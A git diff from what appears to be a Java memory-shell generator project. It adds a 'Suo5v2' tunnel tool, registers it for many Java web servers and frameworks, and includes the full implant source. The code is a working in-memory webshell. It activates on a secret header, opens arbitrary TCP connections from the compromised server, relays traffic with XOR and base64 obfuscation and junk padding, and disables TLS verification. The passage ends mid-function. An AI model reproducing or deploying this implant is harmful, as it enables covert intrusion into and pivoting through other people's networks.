diff --git a/asserts/suo5/suo5v2-darwin-arm64 b/asserts/suo5/suo5v2-darwin-arm64 new file mode 100755 index 00000000..458406d4 Binary files /dev/null and b/asserts/suo5/suo5v2-darwin-arm64 differ diff --git a/asserts/suo5/suo5v2-linux-amd64 b/asserts/suo5/suo5v2-linux-amd64 new file mode 100755 index 00000000..bb3148bc Binary files /dev/null and b/asserts/suo5/suo5v2-linux-amd64 differ diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index 56c709c7..419cd67e 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -55,7 +55,7 @@ public class MemShellGenerateRequest { .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .build(); - case Suo5 -> Suo5Config.builder() + case Suo5, Suo5v2 -> Suo5Config.builder() .shellClassName(shellToolConfig.getShellClassName()) .headerName(shellToolConfig.getHeaderName()) .headerValue(shellToolConfig.getHeaderValue()) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index b715eb9f..6a9818fe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -8,6 +8,7 @@ import com.reajason.javaweb.memshell.shelltool.command.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.suo5.*; +import com.reajason.javaweb.memshell.shelltool.suo5v2.*; import java.util.Collections; import java.util.List; @@ -184,6 +185,31 @@ public class ServerFactory { .addShellClass(ACTION, Suo5Struct2Action.class) .build()); + addToolMapping(ShellTool.Suo5v2, ToolMapping.builder() + .addShellClass(SERVLET, Suo5v2Servlet.class) + .addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class) + .addShellClass(FILTER, Suo5v2Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5v2Filter.class) + .addShellClass(LISTENER, Suo5v2Listener.class) + .addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class) + .addShellClass(VALVE, Suo5v2Valve.class) + .addShellClass(JAKARTA_VALVE, Suo5v2Valve.class) + .addShellClass(PROXY_VALVE, Suo5v2.class) + .addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class) + .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class) + .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class) + .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class) + .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class) + .addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class) + .addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class) + .addShellClass(ACTION, Suo5v2Struct2Action.class) + .build()); + addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() .addShellClass(SERVLET, NeoreGeorgServlet.class) .addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java index 9a6cdb82..6b7a6cdd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java @@ -9,6 +9,7 @@ public class ShellTool { public static final String Behinder = "Behinder"; public static final String Command = "Command"; public static final String Suo5 = "Suo5"; + public static final String Suo5v2 = "Suo5v2"; public static final String AntSword = "AntSword"; public static final String NeoreGeorg = "NeoreGeorg"; public static final String Custom = "Custom"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java index 1bb544e3..29d3c8ac 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java @@ -23,6 +23,7 @@ public class ShellToolFactory { register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class); register(ShellTool.Command, CommandGenerator.class, CommandConfig.class); register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class); + register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java new file mode 100644 index 00000000..530588b7 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java @@ -0,0 +1,1090 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + private static ThreadLocal once = new ThreadLocal(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2() { + } + + public Suo5v2(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object request = unwrap(args[0], "request"); + Object response = unwrap(args[1], "response"); + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + new Suo5v2().process(request, response); + return true; + } + } catch (Throwable ignored) { + } + return false; + } + + @SuppressWarnings("all") + public Object unwrap(Object obj, String fieldName) { + try { + return getFieldValue(obj, fieldName); + } catch (Throwable e) { + return obj; + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + private void process(Object request, Object response) { + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(request, response, dataMap, tunId, sid); + break; + case 0x01: + setBypassHeader(response); + processFullStream(request, response, dataMap, tunId); + break; + case 0x02: + setBypassHeader(response); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + response.getClass().getMethod("setStatus", int.class).invoke(response, 403); + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); + do { + processHalfStream(request, response, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(response, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(response, new String(sidData))); + + do { + processClassic(request, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); + writeAndFlush(response, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable ignored) { + } finally { + + } + } + + private void setBypassHeader(Object resp) throws Exception { + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(Object resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + pipeStream(conn.getInputStream(), out, false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + e.printStackTrace(); + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + out.write(data); + if (dirtySize != 0) { + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } + + private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2(tunId, 1)).start(); + new Thread(new Suo5v2(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(Object request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { + String method = (String) request.getClass().getMethod("getMethod").invoke(request); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 